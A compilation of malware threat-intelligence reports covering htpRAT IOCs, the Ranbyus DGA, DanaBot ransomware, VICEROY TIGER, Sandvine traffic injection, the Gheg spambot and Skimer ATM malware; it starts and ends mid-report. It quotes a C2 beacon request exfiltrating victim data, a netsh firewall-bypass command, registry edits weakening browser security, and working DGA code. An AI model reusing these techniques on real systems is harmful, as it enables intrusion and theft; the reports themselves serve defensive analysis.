119.59.123.114 | | image.laoscript.org | 116.251.223.212 | ### Additional filesystem IOCs: | Filename | MD5 | SHA256 | |--------------------|---------------------------------------------------|------------------------------------------------| | favicon.ico | 27b318e103985fb4872ea92df1d2f35a | 56c3909c19e9fb934ef6d1f73fbfe3d05935933c0c071fc23adce05d545b8965 | | - | fb7376074cd98d2ac9d957cba73d054e | 5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827363ccd163f6d | | - | 863f83f72b2a089123619465915d69f5 | e7264a8ed7ed9145e6cdbcfe55e9a0d00f4df70becb62a8349634548c5c7bdf | For a full, continuously updated list of IOCs related to htpRAT, visit the RiskIQ Community Public Project.
# The DGA of Ranbyus Ranbyus is a trojan that steals banking information — among other personal data. At the end of April 2015, I first noticed samples of Ranbyus that use a Domain Generation Algorithm (DGA) to generate the domains for its command and control (C2) traffic: - hcfoopojnuqxho.su - undrdsbhivryqn.tw - dkehliueofdued.net - mpuakxjqpscfpj.com - eelolbwmfmtkae.pw - noppsmyiijqujh.in - joxrsxwdybbgqb.me In this post, I show how the DGA works by reversing the following sample: **Filename:** 1/13_RANDOMNUM_6_11__vozvrat.exe **Filetype:** PE32 executable (GUI) Intel 80386, for MS Windows **MD5:** fa57f601402aab8168dea94c7c5f029f **SHA256:** dc4f3340ca8e623a5a77eb95411696fc25a7e6f5ef657ac9fd76eb4bc11c16b4 I focused my efforts exclusively on the domain generation part of Ranbyus. Refer to the blog posts of Aleksandr Matrosov for an in-depth analysis of Ranbyus. ## Algorithm This section shows the algorithm behind the domains of Ranbyus and its seeding and parametrization. ### Callback Loop The next image represents the part of the Ranbyus that tries to find a valid C2 target. It consists of an outer loop (month_loop) and an inner loop. The register `edi` holds the index of the outer loop. It runs from 0 down to -30. The number of iterations for the inner loop is specified by a parameter of the DGA (set to 40 in all analyzed samples): The first act of the outer loop is to get the current time. Ranbyus then subtracts days from the current date according to the index of the outer loop. The resulting date will be used to seed the DGA with a granularity of one day. In the first iteration, the DGA uses the current date. In the next iteration — when the index is -1 — yesterday’s date is used. This continues up to 30 days in the past if need be. So even though the DGA generates a fresh set of domains every day, it also checks the domains of past days. This gives the DGA the benefit of fast changing domains in case domains get blocked or sinkholed, while at the same time enabling older domains to be used for up to one month if they still work. The inner loop generates the domains for the day with the DGA and makes the callback. In case of failure, Ranbyus sleeps for `wait_time` milliseconds (500 in my samples) and retries up to `nr_of_domains` (40) different domains. ### DGA Parameters and Seed Apart from the current date, the DGA is seeded with a hardcoded magic number. The number of domains per day is hardcoded to 40. The wait time after a failed callback attempt is set to 500 ms. Ranbyus also uses a hard-coded list of top-level domains: The top-level domains are: .in, .me, .cc, .su, .tw, .net, .com, .pw, and .org. The last domain .org is never used due to a bug of the DGA. The top-level domains are tested one after another (except the last one), starting at a day-dependent offset. The error of subtracting 1 from the modulus is repeated also when picking the letters of the second-level domain. ### The DGA This is the disassembly of the DGA routine: The subroutine generates domains in two independent parts: 1. The top-level domain is picked from the hardcoded list shown above. 2. The second-level domain is generated. The following disassembly shows how the top-level domain is picked: Starting at the day-dependent offset determined earlier, the algorithm picks the domains in a circular fashion, omitting the last domain because the DGA wrongly subtracts one from the modulus. ```plaintext [".in", ".me", ".cc", ".su", ".tw", ".net", ".com", ".pw", ".org"][offset % (9-1)] offset++ ``` The disassembly for the second-level domain generates 14 different letters based on the DGA’s seed, and the value of day, month, and year. Note that these names are misleading: although these values are initialized with the current or past dates, the values are modified by each call to the routine. This pseudo-code summarizes the algorithm: ```plaintext FOR i = 0 TO 13 day = (day >> 15) ^ 16 * (day & 0x1FFF ^ 4 * (seed ^ day)) year = ((year & 0xFFFFFFF0) << 17) ^ ((year ^ (7 * year)) >> 11) month = 14 * (month & 0xFFFFFFFE) ^ ((month ^ (4 * month)) >> 8) seed = (seed >> 6) ^ ((day + 8 * seed) << 8) & 0x3FFFF00 int x = ((day ^ month ^ year) % 25) + 'a' domain[i] = x; ``` The malware authors repeated their modulus error: like for the TLD, the modulus needed to be increased by one. As it stands, ‘z’ is not reachable. Ranbyus shares this bug with the DGAs of Ramnig and Necurs. ### Observed Seeds The following table lists some of the samples from malwr.com that are Ranbyus with the described DGA. All samples use the same parametrization, only the seed varies. | MD5 | Seed | |---------------------------------------|-----------| | 4b04f6baaf967e9c534e962c98496497 | 65BA0743 | | 087b19ce441295207052a610d1435b03 | 65BA0743 | | 28474761f28538a05453375635a53982 | 65BA0743 | | b309eab0277af32d7a344b8a8b91bd73 | C5F128F3 | | 4c7057ce783b2e4fb5d1662a5cb1312a | C5F128F3 | | 7cbc671bcb97122e0ec5b448f0251dc0 | C5F128F3 | | 437028f94ceea4cab0d302d9ac6973eb | C5F128F3 | | 6378b7af643e87c063f69ddfb498d852 | B6354BC3 | | fa57f601402aab8168dea94c7c5f029f | B6354BC3 | | 9f2c89ad17e9b6cf386028a8c9189264 | 0478620C | ## Summary ### DGA Characteristics The characteristics of Ranbyus’ DGA are: | Property | Value | |---------------------------------|-----------------------------------------| | Seed | Magic number and current date | | Granularity | 1 day, with a 31-day sliding window | | Domains per seed and day | 40 | | Domains per sliding window | 1240 | | Sequence | Sequential | | Wait time between domains | 500 ms | | Top-level domains | .in, .me, .cc, .su, .tw, .net, .com, .pw | | Second-level characters | Lower case letters except ‘z’ | | Second-level domain length | 14 letters | ### Decompiled Code The following C code generates the domains for a given day and seed. In order to generate all domains that the malware can generate for any given seed and date, one would also need to run the code for all dates going 30 days in the past. ```c #include <stdio.h> #include <stdlib.h> char* dga(unsigned int day, unsigned int month, unsigned int year, unsigned int seed, unsigned int nr) { char *tlds[] = {"in", "me", "cc", "su", "tw", "net", "com", "pw", "org"}; char domain[15]; int d; int tld_index = day; for(d = 0; d < nr; d++) { unsigned int i; for(i = 0; i < 14; i++) { day = (day >> 15) ^ 16 * (day & 0x1FFF ^ 4 * (seed ^ day)); year = ((year & 0xFFFFFFF0) << 17) ^ ((year ^ (7 * year)) >> 11); month = 14 * (month & 0xFFFFFFFE) ^ ((month ^ (4 * month)) >> 8); seed = (seed >> 6) ^ ((day + 8 * seed) << 8) & 0x3FFFF00; int x = ((day ^ month ^ year) % 25) + 97; domain[i] = x; } printf("%s.%s\n", domain, tlds[tld_index++ % 8]); } } int main(int argc, char *argv[]) { if(argc != 5) { printf("Usage: dga <day> <month> <year> <seed>\n"); printf("Example: dga 14 5 2015 b6354bc3\n"); exit(0); } dga(atoi(argv[1]), atoi(argv[2]), atoi(argv[3]), strtoul(argv[4], NULL, 16), 40); } ``` ### Archived Comments Note: I removed the Disqus integration in an effort to cut down on bloat. The following comments were retrieved with the export functionality of Disqus. If you have comments, please reach out to me by Twitter or email. - **Sandor Nemes** Aug 26, 2015 07:42:01 UTC In the C code, the `strtoul` function should be used instead as `strtol` will limit the seed to 0x7fffffff. - **Johannes Bader** Aug 26, 2015 09:36:08 UTC Thanks, fixed it.
# DanaBot Demands a Ransom Payment **Research by:** Yaroslav Harakhavik and Aliaksandr Chailytko **Date:** June 20, 2019 It’s been over a year since DanaBot was first discovered, and its developers are still working to improve it and find new opportunities to collaborate with other malware actors. Check Point Research has been tracking DanaBot campaigns since August 2018 and recently discovered that some bots belonging to European campaigns had started dropping an executable file which turned out to be ransomware written in Delphi. DanaBot was already involved in sending spam and cooperating with GootKit in the past, as well as dropping Remcos RAT on infected machines. While DanaBot is still actively supported, its operators now add new plugins and configuration files and update various parts of the malware (including string encryption and file name generation algorithms, and even the communication protocol). In the following report, we will review the latest updates in DanaBot’s functionality, and take a deep dive into the inner workings and encryption methods of this new ransomware. ## DanaBot Overview DanaBot is a banking Trojan which is distributed using phishing emails. Links usually lead to either a JavaScript or PowerShell dropper. The malware has the following capabilities: - Stealing browsers and FTP clients credentials - Collecting crypto wallets credentials - Running a proxy on an infected machine - Performing Zeus-style web-injects - Taking screenshots and recording video - Providing remote control via RDP or VNC - Requesting updates via TOR - Bypassing UAC using a WUSA exploit - Requesting updates from C&C server and executing commands All DanaBot versions communicate with the C&C server via a custom TCP-based protocol over port 443. Since its first appearance, DanaBot has spread throughout Europe, Australia, New Zealand, USA, and Canada. Several campaigns were discovered which target different countries. A campaign is defined by two hardcoded values: - Campaign ID - Campaign salt – A number used for packet validation by the C&C server ### Active DanaBot Campaigns | Campaign ID | Campaign Salt | Countries | |-------------|---------------|--------------------| | 2 | 586856666 | None | | 3 | 897056567 | Italy, Poland | | 4 | 645456234 | Australia | | 5 | 423676934 | Australia | | 6 | 235791346 | Australia | | 7 | 765342789 | Italy, Poland | | 8 | 342768343 | Canada, USA | | 9 | 909445453 | None | | 11 | 445577321 | Unknown | | 14 | 653345567 | Canada | | 15 | 655222455 | Poland, USA | | 17 | 878777777 | Unknown | | 18 | 234456788 | Unknown | | 19 | 335347974 | Unknown | | 20 | 113334444 | Unknown | | 24 | 784356646 | Unknown | ## The Dropper The initial infection vector is usually an email with a document or a link which leads to a malicious dropper. One of the latest cases is a new Australian campaign (ID=6) which was discovered by Check Point in April 2019. DanaBot was spread in its usual way – phishing emails with links to a file uploaded to Google Docs. The downloaded file turned out to be a VBS script which functions as a DanaBot dropper. The dropper unpacks the DanaBot downloader DLL into the %TEMP% directory and registers it as a service. ### DanaBot Downloader The DanaBot downloader is represented by a 32- or 64-Bit DLL which starts by calling its f0 function. After the January 2019 update, the downloader took on many of the main module’s roles: for example, it bypasses UAC and pretends to be a Windows System Event Notification Service. It communicates with C&C servers, downloads DanaBot plugins and configuration files, updates itself, and executes the main module. In January, the DanaBot downloader changed its communication protocol, obscuring it with AES256 encryption. The new protocol was described in detail by ESET. The initial communication between an infected machine and a C&C server is shown in the following points: 1. Both the bot and C&C server generate a new AES256 key for every packet they send. 2. The bot sends an RSA public key to the C&C server which is used by the server to encrypt its generated AES keys. 3. The bot encrypts the generated AES keys with a hardcoded public RSA key. The private key is owned exclusively by the C&C server. The DanaBot downloader can be detected by a public RSA key hardcoded into the DLL’s body. It’s usually XOR’ed with a byte in the range [0x01; 0xFF]. The new campaign sample requests the following modules and configuration files: - **Modules:** - Main module - Stealer plugin - VNC plugin - RDP plugin - TOR plugin - **Configuration files:** - BitVideo – Process list to record - BitFiles – List of cryptocurrency files - KeyProcess – Process list for keylogging - PFilter – List of websites for sniffing - Inject (or inject, inj, inj* or in*) – Web-inject configuration - Redirect (redik*) – Configuration for redirection ## NonRansomware Distribution At the end of April, DanaBot C&C server 95.179[.]186[.]57 started including in the list of available modules a new module for a European campaign with ID=7. The module, which was an executable file written in Delphi, was named “crypt.” The new module turned out to be a variant of the “NonRansomware” ransomware which enumerates files on local drives and encrypts all of them except the Windows directory. The encrypted files have a .non extension. A ransom message HowToBackFiles.txt is placed in each directory which contains encrypted files. After its execution, the malware puts a batch file b.bat in %TEMP% and runs it. The batch script contains commands to: - Enable settings for showing hidden files - Disable Windows Defender - Enable ClearPageFileAtShutDown to purge the pagefile.sys - Stop services - Stop monitoring software (Veeam, TeamViewer, etc.) - Disable hibernation - Remove logs - Bypass the PowerShell Execution Policy - Disable restoration for the following logical disks: C, D, E, F, H - Clear EventLog and Recycle Bin - Delete shadow copies for all volumes Then the malware schedules a task which will execute the malware every 14 minutes. The obscured name of the task is just a damaged string “SysUtils.” The malware uses a simple algorithm and a hardcoded key “Hello World!” to decrypt the strings. The ransomware enumerates logical drives, visits all the directories except Windows, and encrypts all the files using AES128. The password is a string representation of the system volume serial number. Every file is encrypted in a separate thread. The victim ID which is shown in the ransom message is generated from the password (i.e., C disk serial number) according to a specific algorithm. The encryption itself is not obvious unless it was copy-pasted from the unit tests of the DelphiEncryptionCompendium (DEC) library. The encryption function is a slightly modified DemoCipherFile procedure of the library’s test project. So the only thing that is needed to restore the encrypted files is to call the DecodeFile function for all the encrypted files with a password bruteforced using the known victim ID. A GUI tool for file decryption is attached at the end of this article. Finally, the malware checks a network connection and sends information about the infected PC to encrypter[.]webfoxsecurity[.]com. It first detects the version of Windows, generates a unique ID, retrieves the user name, and builds a specific string format. ## Conclusion For almost a year, DanaBot has been extending its capabilities and evolving into a more sophisticated threat. We assume its operators will continue to add more improvements. Check Point provides protection from these threats. We’ll keep an eye on it and update you further. A lot of ransomware still remains a relatively stable source of income for cyber criminals. Therefore, such simple “copy-paste” encryptors as the one that was described here will continue to emerge constantly. Note – In general, we do not recommend paying ransom to decrypt your files, and especially not in a case like this.
# VICEROY TIGER Delivers New Zero-Day Exploit **November 6, 2013** **Adam Meyers, Research & Threat Intel** On November 5, 2013, Microsoft announced that a vulnerability in the Microsoft Graphics Component could allow Remote Code Execution (RCE). This announcement attracted immediate interest from the security community; McAfee posted a blog detailing the sample that was related to the exploit activity. After analyzing several of the samples leveraging this new vulnerability, the CrowdStrike Intelligence Team has attributed several of the malicious documents to the India-nexus adversary we have designated VICEROY TIGER. This is the first use of a zero-day vulnerability that has been associated with the VICEROY TIGER actor and may represent a new Tactic, Technique, and Procedure (TTP) that this actor may adopt moving forward. As this is the first fielded zero-day associated with this actor, it is also possible the adversary purchased the exploit from an underground market. The exploit leverages a vulnerability in the Microsoft graphics component and uses a large number of ActiveX files to conduct a heap spray. A number of related files have been identified including: `97bcb5031d28f55f20e6f3637270751d`, `7671b6d1c73145bcc9de472d75b493e3`, `88bf0a33451b257cadaab360629df745`, and `b44359628d7b03b68b41b14536314083`. Three of the files identified above contain only the exploit code; however, `97bcb5031d28f55f20e6f3637270751d` was found to be fully weaponized with malware making a connection to `krickmart.com` via the following GET request: ``` GET /logitech/rt.php?cn=[victim computer info] HTTP/1.1 User-Agent: WinInetGet/0.1 Host: krickmart.com Connection: Keep-Alive Cache-Control: no-cache ``` The structure of this GET request, specifically the User-Agent, is consistent with previous reporting on VICEROY TIGER malware. It appears that this C2 domain represents one stage of a multi-stage attack structure, and CrowdStrike is looking into possibly related malware and command infrastructure. Additional related C2 infrastructure includes: `myflatnet.com`, `37.0.125.77`, `37.0.124.106`, `maptonote.com`, `appworldstores.com`, and `lampur.com`. Victims observed thus far are from the following countries: Pakistan, India, Saudi Arabia, and Russia. For more information on VICEROY TIGER, including detection logic or any of the adversaries tracked by CrowdStrike, please contact: [email protected] and inquire about our Intelligence subscription.
# BAD TRAFFIC: Sandvine’s PacketLogic Devices Used to Deploy Government Spyware in Turkey and Redirect Egyptian Users to Affiliate Ads **Bill Marczak, Jakub Dalek, Sarah McKune, Adam Senft, John Scott-Railton, Ron Deibert** March 9, 2018 This report describes our investigation into the apparent use of Sandvine/Procera Networks Deep Packet Inspection (DPI) devices to deliver nation-state malware in Turkey and indirectly into Syria, and to covertly raise money through affiliate ads and cryptocurrency mining in Egypt. ## Key Findings Through Internet scanning, we found deep packet inspection (DPI) middleboxes on Türk Telekom’s network. The middleboxes were being used to redirect hundreds of users in Turkey and Syria to nation-state spyware when those users attempted to download certain legitimate Windows applications. We found similar middleboxes at a Telecom Egypt demarcation point. On a number of occasions, the middleboxes were apparently being used to hijack Egyptian Internet users’ unencrypted web connections en masse, and redirect the users to revenue-generating content such as affiliate ads and browser cryptocurrency mining scripts. After an extensive investigation, we matched characteristics of the network injection in Turkey and Egypt to Sandvine PacketLogic devices. We developed a fingerprint for the injection we found in Turkey, Syria, and Egypt and matched our fingerprint to a second-hand PacketLogic device that we procured and measured in a lab setting. The apparent use of Sandvine devices to surreptitiously inject malicious and dubious redirects for users in Turkey, Syria, and Egypt raises significant human rights concerns. ## Summary This report describes how we used Internet scanning to uncover the apparent use of Sandvine/Procera Networks Deep Packet Inspection (DPI) devices (i.e., middleboxes) for malicious or dubious ends, likely by nation-states or ISPs in two countries. ### Turkey We found that a series of middleboxes on Türk Telekom’s network were being used to redirect hundreds of users attempting to download certain legitimate programs to versions of those programs bundled with spyware. The spyware we found bundled by operators was similar to that used in the StrongPity APT attacks. Before switching to the StrongPity spyware, the operators of the Turkey injection used the FinFisher “lawful intercept” spyware, which FinFisher asserts is sold only to government entities. Targeted users in Turkey and Syria who downloaded Windows applications from official vendor websites including Avast Antivirus, CCleaner, Opera, and 7-Zip were silently redirected to malicious versions by way of injected HTTP redirects. This redirection was possible because official websites for these programs, even though they might have supported HTTPS, directed users to non-HTTPS downloads by default. Additionally, targeted users in Turkey and Syria who downloaded a wide range of applications from CBS Interactive’s Download.com were instead redirected to versions containing spyware. Download.com does not appear to support HTTPS despite purporting to offer “secure download” links. Our scans of Turkey revealed that this spyware injection was happening in at least five provinces. In addition to targets in Turkey, targets included some users physically located in Syria who used Internet services relayed into Syria by Türk Telekom subscribers, sometimes via cross-border directional Wi-Fi links. ### Egypt We found similar middleboxes at a Telecom Egypt demarcation point. The middleboxes were being used to redirect users across dozens of ISPs to affiliate ads and browser cryptocurrency mining scripts. The Egyptian scheme, which we call AdHose, has two modes. In spray mode, AdHose redirects Egyptian users en masse to ads for short periods of time. In trickle mode, AdHose targets some JavaScript resources and defunct websites for ad injection. AdHose is likely an effort to covertly raise money. ### Technology Matches Sandvine PacketLogic After an extensive investigation, we matched characteristics of the middleboxes in Turkey and Egypt to Sandvine PacketLogic devices. Sandvine’s PacketLogic middleboxes can prioritize, degrade, block, inject, and log various types of Internet traffic. The company that makes PacketLogic devices was formerly known as Procera Networks, but was recently renamed Sandvine after Procera’s owner, U.S.-based private equity firm Francisco Partners, acquired Ontario-based networking equipment company Sandvine and combined the two companies in 2017. ### Blocking Human Rights and Political Content In Egypt and Turkey, we also found that devices matching our Sandvine PacketLogic fingerprint were being used to block political, journalistic, and human rights content. In Egypt, these devices were being used to block dozens of human rights, political, and news websites including Human Rights Watch, Reporters Without Borders, Al Jazeera, Mada Masr, and HuffPost Arabic. In Turkey, these devices were being used to block websites including Wikipedia, the website of the Dutch Broadcast Foundation (NOS), and the website of the Kurdistan Workers’ Party (PKK). ### Procera/Sandvine Employees on the Ground? A search of LinkedIn reveals profiles for a Procera Networks “Solutions Engineer” in Istanbul, Turkey and a Sandvine “Resident Engineer – Senior Level” in Egypt. Sandvine’s “Careers” page describes the responsibilities of a position entitled “Resident Operations Engineer,” including “performing operations based activities, residing at the customer’s location,” and “working closely with the customers’ operations and development teams.” Our February 12, 2018 letters to Sandvine and Francisco Partners summarized the findings of our report and contained detailed questions about our findings and their corporate social responsibility practices. A February 16, 2018 letter from Sandvine characterized the statements in our letter as “false, misleading, and wrong,” and demanded that we return the second-hand PacketLogic device that we used to confirm attribution of our fingerprint. ## Background: Nation-State Network Injection Nation-state-level network injection to deliver spyware has long been the stuff of legends. There have been many leaked documents and vendor claims outlining purported nation-state network injection capabilities but there are no concrete public measurements that conclusively establish nation-state spyware injection in the wild. In network injection, a middlebox operates over connections between a target and an Internet site they are visiting. If the connection is unauthenticated (e.g., HTTP and not HTTPS), then the middlebox can be used to tamper with data to inject a spoofed response from the Internet site. The spoofed response may contain redirects to exploits or spyware to infect and monitor the target. Broadly, network injection systems are divided into two categories: an on-path system (also called a man-on-the-side) can simply add Internet traffic to the network, whereas an in-path system (also called a man-in-the-middle) can add traffic and also suppress legitimate traffic. ### On-Path Systems **NSA QUANTUM** Based on information from documents leaked from the US National Security Agency (NSA), NSA’s QUANTUM is an on-path network injection system, and has been used to target engineers associated with Belgian telco Belgacom, employees of OPEC, and Tor users accessing terrorist content. **Hacking Team Network Injection Appliance (NIA)** According to a patent filed in 2010 by nation-state spyware vendor Hacking Team, and leaked documents, the company may have developed a similar on-path network injection system called the Hacking Team Network Injection Appliance (NIA). ### In-Path Systems **FinFly ISP** Leaked documents from nation-state spyware vendor FinFisher indicate that the company sells an in-path network injection system called FinFly ISP. **China’s Great Cannon** China’s Great Cannon is an in-path network injection system, which was used in 2015 to inject JavaScript that enlists targets’ browsers in distributed denial of service (DDoS) attacks against the Chinese diaspora’s efforts to spread censored information. **Sandvine PacketLogic** According to our measurements, Sandvine’s PacketLogic product supports in-path network injection. The company advertises that they support “regulatory compliance” but does not mention spyware injection. Nevertheless, the product has support for defining rules that inject data into targeted connections. ## Turkey Case: Targeted Malware Injection This section describes how DPI equipment that matches our Sandvine PacketLogic fingerprint is used to inject malware to users in Turkey and Syria who attempt to download common Windows software. ### Turkey Background: Information Controls and Surveillance In spite of being a parliamentary democracy with decades of multi-party elections, Turkey’s government is characterized by corruption, human rights abuses, and autocratic tendencies on the part of the current Prime Minister Recep Tayyip Erdoğan. ### Localizing the Targets of Turkey’s Malware Injection In a February 2018 scan of Turkey, we identified five different malicious domain names that were injected in response to HTTP requests for Opera. We performed traceroutes for the targeted IP addresses and found targeting in at least five provinces. ### Identifying Targeted Applications We found at least ten applications whose downloads were targeted for spyware injection. Some of these websites supported HTTPS, but did not redirect users to the HTTPS version when directly visited. ## AdHose: Mass Connection Hijacking to Deliver Affiliate Ads in Egypt This section describes how DPI equipment that matches our Sandvine PacketLogic fingerprint is installed on Telecom Egypt’s network at Egypt’s borders, and is used to deliver affiliate ads, cryptocurrency mining scripts, and perhaps nation-state spyware, to Egyptian Internet users. ### Egypt Background: Malware, Surveillance, and Censorship Seven years after the 2011 demonstrations in Cairo’s Tahrir Square, Egyptian President Abdel Fattah el-Sisi has escalated a violent crackdown against opposition and dissent. ### Discovering AdHose When checking Shodan for HTTP 307 redirects, we noticed a large number of redirects returned by Egyptian IPs to what appeared to be an advertising site. ### Localizing Egypt’s Middleboxes We conducted tests that localized the AdHose middleboxes to a Telecom Egypt demarcation point. ## Egypt & Turkey Censorship Testing This section describes how DPI equipment that matches our Sandvine PacketLogic fingerprint is blocking political and human rights content in Egypt and Turkey. ### Websites Blocked In Egypt, we found that devices matching our Sandvine PacketLogic fingerprint are being used to block dozens of human rights, political, and news websites including Human Rights Watch, Reporters Without Borders, Al Jazeera, Mada Masr, and HuffPost Arabic. In Turkey, these devices were being used to block websites including every language version of Wikipedia, the website of the Dutch Broadcast Foundation (NOS), and the website of the PKK (Kurdistan Workers’ Party). The blocking is implemented by injecting TCP reset packets. The TCP reset packets have IPID 13330, and no IP flags, and match our fingerprint.
# Gheg: Marshal8e6 **Aliases** Tofsee Mondera **Comments** Gheg, also known as Tofsee or Mondera, came across our radar in October 2008. It is not as sophisticated as some of the other bots like Rustock or Srizbi; for example, it does not use a rootkit to hide itself. But it does a reasonable job sending spam at approximately 7000 messages per hour per bot using a template-based spamming engine. Gheg tends to concentrate on pharmaceutical spam, using an Outlook Express template formatted in either plaintext or HTML. **Features** - Template Based spamming engine - Uses port 443 (SSL) to send and receive encrypted commands, spam templates, and download executable files. **Spamming Rate** 7,000 msgs per hour per bot **Command and Control** The Gheg bot connects to its control server using a non-standard SSL connection on port 443. Samples we have analyzed connect to 208.72.168.140, establishing a connection to its control server using the HTTP request like the one below: ``` GET /1464 HTTP/1.0 Host: <C&C server IP Address> GET /3164 HTTP/1.0 Host: <C&C server IP Address> ``` After a successful connection, Gheg receives encrypted commands and spam templates from the control server. **Malware Behavior on Host** Gheg drops a copy of itself in the following folders: - %userprofile% (C:\Documents and Settings\<username>) - %SystemRoot%\system32\ (C:\Windows\System32) The malware filename format is 4-6 random characters with .EXE extension, for example: - %UserProfile%\rkux.exe - %SystemRoot%\system32\cvfjt.exe A batch file was temporarily created to delete the main executable; it uses the following format: - %temp%\removeme<4 random digit>.bat (where %temp% is Windows default temporary folder). To automatically execute the trojan in the system start-up, it adds the following registry entries: - HKEY_Local_Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon "Userinit" = "%SystemRoot%\system32\userinit.exe, %userprofile%\<random filename of malware.exe>" - HKEY_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run "<Random>.exe" = "%SystemRoot%\system32\<random>.exe" Gheg also lowers Internet Explorer Security settings by modifying the following registry entries: - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings WarnOnPost = hex:00,00,00,00 - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 MinLevel = dword:00000000 RecommendedLevel = dword:00000000 1004 = dword:00000000 1201 = dword:00000000 1609 = dword:00000000 Gheg also sets itself to bypass the Windows firewall by using the NETSH command (`netsh firewall set allowedprogram "<name of malware>"`) and to identify itself in the infected machine, Gheg creates a mutex named "ghegdjf" - from which its name derives.
# ATM Infector **Authors** GReAT Olga Kochetova Alexey Osipov Seven years ago, in 2009, we saw a completely new type of attack on banks. Instead of infecting the computers of thousands of users worldwide, criminals went directly after the ATM itself – infecting it with malware called Skimer. Seven years later, our Global Research and Analysis Team together with Penetration Testing Team have been called on for an incident response. They discovered a new, improved version of Skimer. ## Virus Style Infections Criminals often obscured their malware with packers to make analysis more difficult for researchers. The criminals behind Skimer also did this, using the commercially available packer Themida, which packs both the infector and the dropper. Once the malware is executed it checks if the file system is FAT32. If it is, it drops the file `netmgr.dll` in the folder `C:\Windows\System32`. If it is an NTFS file system, the same file will be placed in the NTFS data stream corresponding to the XFS service's executable file. Placing the file in an NTFS data stream is most likely done to make forensic analysis more difficult. After successful installation, the sample patches the XFS executable (`SpiService.exe`) entry point, in order to add a `LoadLibrary` call to the dropped `netmgr.dll` file. This file is also protected by Themida. **Entry point in SpiService.exe before infection** **Entry point in SpiService.exe after infection** After a successful installation the ATM is rebooted. The malicious library will be loaded into the `SpiService.exe` thanks to the new `LoadLibrary` call, providing it with full access to XFS. ## Functionality Unlike Tyupkin, where there was a magic code and a specific time frame where the malware was active, Skimer only wakes up when a magic card (specific Track 2 data) is inserted. It is a smart way to implement access control to the malware’s functionality. Once the magic card is inserted, the malware is ready to interact with two different types of cards, each with different functions: 1. Card type 1 – request commands through the interface 2. Card type 2 – execute the command hardcoded in the Track2 After the card is ejected, the user will be presented with a form, asking them to insert the session key in less than 60 seconds. Now the user is authenticated, and the malware will accept 21 different codes for setting its activity. These codes should be entered from the pin pad. Below is a list of the most important features: 1. Show installation details 2. Dispense money – 40 notes from the specified cassette 3. Start collecting the details of inserted cards 4. Print collected card details 5. Self delete 6. Debug mode 7. Update (the updated malware code is embedded on the card) During its activity, the malware also creates the following files or NTFS streams (depending on the file system type). These files are used by the malware at different stages of its activity, such as storing the configuration, storing skimmed card data, and logging its activity: - `C:\Windows\Temp\attrib1` - card data collected from network traffic or from the card reader - `C:\Windows\Temp\attrib4` - logs data from different APIs responsible for the communication with the keyboard (effectively logging data such as the pin) - `C:\Windows\Temp\mk32` - `C:\Windows\Temp:attrib1` - same as the homologue file - `C:\Windows\Temp:attrib4` - same as the homologue file - `C:\Windows\Temp:mk32` - same as the homologue file - `C:\Windows\Temp:opt` - logs mule’s activity ## Conclusions During our recent Incident Response cases related to the abuse of ATMs, we have identified Tyupkin, Carbanak, and black box attacks. The evolution of Backdoor.Win32.Skimer demonstrates the attacker interest in these malware families as ATMs are a very convenient cash-out mechanism for criminals. One important detail to note about this case is the hardcoded information in the Track2 – the malware waits for this to be inserted into the ATM in order to activate. Banks may be able to proactively look for these card numbers inside their processing systems, and detect potentially infected ATMs, money mules, or block attempts to activate the malware. We also recommend regular AV scans, the use of allowlisting technologies, a good device management policy, full disk encryption, the protection of ATM BIOS with a password, only allowing HDD booting, and isolating the ATM network from any other internal bank networks. Kaspersky Lab has now identified 49 modifications of this malware, with 37 of these modifications targeting ATMs made by just one manufacturer. The most recent version was discovered at the beginning of May 2016. All samples described are detected by Kaspersky Lab as Backdoor.Win32.Skimer. Patched `SpiService.exe` files are detected as Trojan.Win32.Patched.rb. As this is still an ongoing investigation, we have already shared the full report with different LEAs, CERTs, financial institutions, and Kaspersky Lab Threat Intelligence-Service customers. ## Appendix I. Indicators of Compromise **Hashes** - F19B2E94DDFCC7BCEE9C2065EBEAA66C - 3c434d7b73be228dfa4fb3f9367910d3 - a67d3a0974f0941f1860cb81ebc4c37c - D0431E71EBE8A09F02BB858A0B9B80380 - 35484d750f13e763eae758a5f243133 - e563e3113918a59745e98e2a425b4e81 - a7441033925c390ddfc360b545750ff4 **Filenames** - `C:\Windows\Temp\attrib1` - `C:\Windows\Temp\attrib4` - `C:\Windows\Temp\mk32` - `C:\Windows\Temp:attrib1` - `C:\Windows\Temp:attrib4` - `C:\Windows\Temp:mk32` - `C:\Windows\Temp:opt` - `C:\Windows\System32\netmgr.dll` **Track 2 data** - ******446987512*=******************** - ******548965875*=******************** - ******487470138*=******************** - ******487470139*=******************** - ******000000000*=******************** - ******602207482*=******************** - ******518134828*=******************** - ******650680551*=******************** - ******466513969*=********************
# Crimes of Opportunity: Increasing Frequency of Low Sophistication Operational Technology Compromises **Threat Actors** Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker May 25, 2021 Attacks on control processes supported by operational technology (OT) are often perceived as necessarily complex. This is because disrupting or modifying a control process to cause a predictable effect is often quite difficult and can require a lot of time and resources. However, Mandiant Threat Intelligence has observed simpler attacks, where actors with varying levels of skill and resources use common IT tools and techniques to gain access to and interact with exposed OT systems. The activity is typically not sophisticated and is normally not targeted against specific organizations. Rather, the compromises appear to be driven by threat actors who are motivated to achieve ideological, egotistical, or financial objectives by taking advantage of an ample supply of internet-connected OT systems. As the actors are not interested in causing specific physical outcomes, they target whatever is available on the internet. Mandiant has observed an increase in compromises of internet-accessible OT assets over the past several years. In this blog post, we discuss previously undisclosed compromises and place them in context alongside publicly known incidents. Although none of these incidents have appeared to significantly impact the physical world, their increasing frequency and relative severity calls for analysis on their possible risks and implications. ## Compromises of Internet-Exposed OT Are Increasing in Frequency While Mandiant has monitored threat actors claiming to share or sell access to internet-exposed OT systems since at least 2012, we have seen a significant increase in the frequency and relative severity of incidents in the past few years. The most common activity we observe involves actors trying to make money off exposed OT systems, but we also see actors simply sharing knowledge and expertise. More recently, we have observed more low sophistication threat activity leveraging broadly known tactics, techniques, and procedures (TTPs), and commodity tools to access, interact with, or gather information from internet-exposed assets—something we had seen very little of in the past. This low sophistication threat activity has impacted a variety of targets across different industries, ranging from solar energy panels and water control systems to building automation systems (BAS) and home security systems in academic and private residences. While some critical infrastructure targets are very sensitive in 